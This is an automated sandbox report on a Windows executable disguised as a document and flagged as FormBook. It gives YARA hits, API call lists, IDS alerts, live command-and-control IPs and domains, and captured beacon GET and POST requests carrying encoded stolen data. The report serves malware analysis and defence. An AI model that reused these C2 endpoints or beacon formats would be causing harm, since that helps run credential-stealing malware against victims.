Windows Analysis Report
Project Breakdown Doc.exe

AI detected suspicious sample

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2936457400.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2259560056.0000000003960000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2938680835.0000000004CA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2259200561.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2260126536.0000000004C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2936946828.0000000003450000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2936746920.0000000003470000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2935024128.0000000000D20000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Project Breakdown Doc.exe

Joe Sandbox ML: detected

Source: Project Breakdown Doc.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: powercfg.pdbGCTL source: svchost.exe, 00000001.00000003.2228239971.000000000341B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2228322978.000000000342D000.00000004.00000020.00020000.00000000.sdmp, VFfhzkOtKq.exe, 00000005.00000002.2936102809.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: VFfhzkOtKq.exe, 00000005.00000002.2934981003.000000000006E000.00000002.00000001.01000000.00000005.sdmp, VFfhzkOtKq.exe, 00000007.00000000.2336603194.000000000006E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Project Breakdown Doc.exe, 00000000.00000003.1684251389.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, Project Breakdown Doc.exe, 00000000.00000003.1683276387.0000000004230000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2157215051.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2159064996.0000000003900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2259594003.0000000003B00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2259594003.0000000003C9E000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.2937132231.000000000386E000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2262467626.0000000003528000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.2937132231.00000000036D0000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2259628969.0000000003372000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Project Breakdown Doc.exe, 00000000.00000003.1684251389.00000000040E0000.00000004.00001000.00020000.00000000.sdmp, Project Breakdown Doc.exe, 00000000.00000003.1683276387.0000000004230000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.2157215051.0000000003700000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2159064996.0000000003900000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2259594003.0000000003B00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.2259594003.0000000003C9E000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.2937132231.000000000386E000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2262467626.0000000003528000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.2937132231.00000000036D0000.00000040.00001000.00020000.00000000.sdmp, powercfg.exe, 00000006.00000003.2259628969.0000000003372000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: powercfg.exe, 00000006.00000002.2935230373.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.2937780821.0000000003CFC000.00000004.10000000.00040000.00000000.sdmp, VFfhzkOtKq.exe, 00000007.00000002.2937216362.000000000286C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2570813989.000000002144C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: powercfg.exe, 00000006.00000002.2935230373.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, powercfg.exe, 00000006.00000002.2937780821.0000000003CFC000.00000004.10000000.00040000.00000000.sdmp, VFfhzkOtKq.exe, 00000007.00000002.2937216362.000000000286C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2570813989.000000002144C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: powercfg.pdb source: svchost.exe, 00000001.00000003.2228239971.000000000341B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2228322978.000000000342D000.00000004.00000020.00020000.00000000.sdmp, VFfhzkOtKq.exe, 00000005.00000002.2936102809.0000000000E2E000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CA4696 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00CA4696
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CAC9C7 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00CAC9C7
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CAC93C FindFirstFileW,FindClose,	0_2_00CAC93C
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CAF200 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00CAF200
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CAF35D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00CAF35D
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CAF65E FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00CAF65E
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CA3A2B FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00CA3A2B
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CA3D4E FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00CA3D4E
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00CABF27 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00CABF27

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49808 -> 43.205.198.29:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49843 -> 172.67.220.36:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49850 -> 172.67.220.36:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49821 -> 43.205.198.29:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49888 -> 194.245.148.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49882 -> 194.245.148.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49899 -> 194.245.148.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49859 -> 172.67.220.36:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.4:49815 -> 43.205.198.29:80

Source: Joe Sandbox View

IP Address: 194.245.148.189 194.245.148.189

Source: Joe Sandbox View	ASN Name: LILLY-ASUS LILLY-ASUS
Source: Joe Sandbox View	ASN Name: CSLDE CSLDE
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CB25E2 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00CB25E2

Source: global traffic	HTTP traffic detected: GET /mz0w/?qjBT=BfTHe4BP_zkdflN&AFF=uMzU0JGK22aEYJLN9gIRRbcx6PQvWyWv0SPCs66KRtTFzrJJ373CiBnwq6iLrm6CBfWGplZZf3wVkFmev9wws6pM55HNj3BAq/9ra29WeR04lUyUIOcydT8= HTTP/1.1Host: www.qqa79.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /6pwo/?AFF=OcYLCa3XOMtt+RsgzD1zLQYXF21NRX3aDgwcqG8KHHMgaFOqYIh5VwBJiTVI7K2l1+vZ/nsgVnM6ADXGg1abnTc9bVWqvwMitNejIQMZs4A8D92e/CCvcvI=&qjBT=BfTHe4BP_zkdflN HTTP/1.1Host: www.1secondlending.oneAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /rk61/?qjBT=BfTHe4BP_zkdflN&AFF=4Jev6jkxg6xEO7Dapp2OtVT6jS0ALsNacNocs9uTAtM/sd7AmwK5VubVBVupph+Y/y0F/E1wxEQcV5PZ7sI9NGZN+wjn/QV3LQCc1WVNeTcwGOVDWPFPiYw= HTTP/1.1Host: www.supernutra01.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-usConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.qqa79.top
Source: global traffic	DNS traffic detected: DNS query: www.1secondlending.one
Source: global traffic	DNS traffic detected: DNS query: www.supernutra01.online
Source: global traffic	DNS traffic detected: DNS query: www.wine-drinkers.club

Source: unknown

HTTP traffic detected: POST /6pwo/ HTTP/1.1Host: www.1secondlending.oneAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-usAccept-Encoding: gzip, deflate, brContent-Length: 200Cache-Control: max-age=0Connection: closeContent-Type: application/x-www-form-urlencodedOrigin: http://www.1secondlending.oneReferer: http://www.1secondlending.one/6pwo/User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36Data Raw: 41 46 46 3d 44 65 77 72 42 73 32 6d 54 39 6c 6d 71 53 30 68 38 78 6f 2f 46 68 77 57 47 42 70 4b 5a 57 54 4e 50 78 35 6e 73 32 31 56 41 55 6b 6f 62 58 71 71 64 5a 45 48 53 51 4e 7a 6c 79 46 4d 68 37 69 6b 39 2f 4f 64 72 48 41 61 4d 6b 41 70 41 52 62 65 75 55 6e 4f 6a 32 6f 30 62 45 72 51 73 41 4d 41 75 39 32 55 4a 41 6b 6d 76 37 63 4a 50 38 4c 6a 75 6a 79 62 56 76 61 63 51 75 6c 79 67 38 63 30 36 70 59 6f 41 75 33 37 65 6e 6a 69 67 6f 50 45 5a 38 63 68 6c 49 65 57 43 4d 6b 65 55 53 58 79 73 46 69 32 43 72 48 35 36 58 39 6f 6f 42 67 2b 52 6a 4b 34 67 51 45 2f 2b 4a 78 50 70 70 59 67 52 41 3d 3d Data Ascii: AFF=DewrBs2mT9lmqS0h8xo/FhwWGBpKZWTNPx5ns21VAUkobXqqdZEHSQNzlyFMh7ik9/OdrHAaMkApARbeuUnOj2o0bErQsAMAu92UJAkmv7cJP8LjujybVvacQulyg8c06pYoAu37enjigoPEZ8chlIeWCMkeUSXysFi2CrH56X9ooBg+RjK4gQE/+JxPppYgRA==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 22 Nov 2024 11:42:14 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 22 Nov 2024 11:42:31 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 22 Nov 2024 11:42:34 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 22 Nov 2024 11:42:37 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 22 Nov 2024 11:42:39 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page 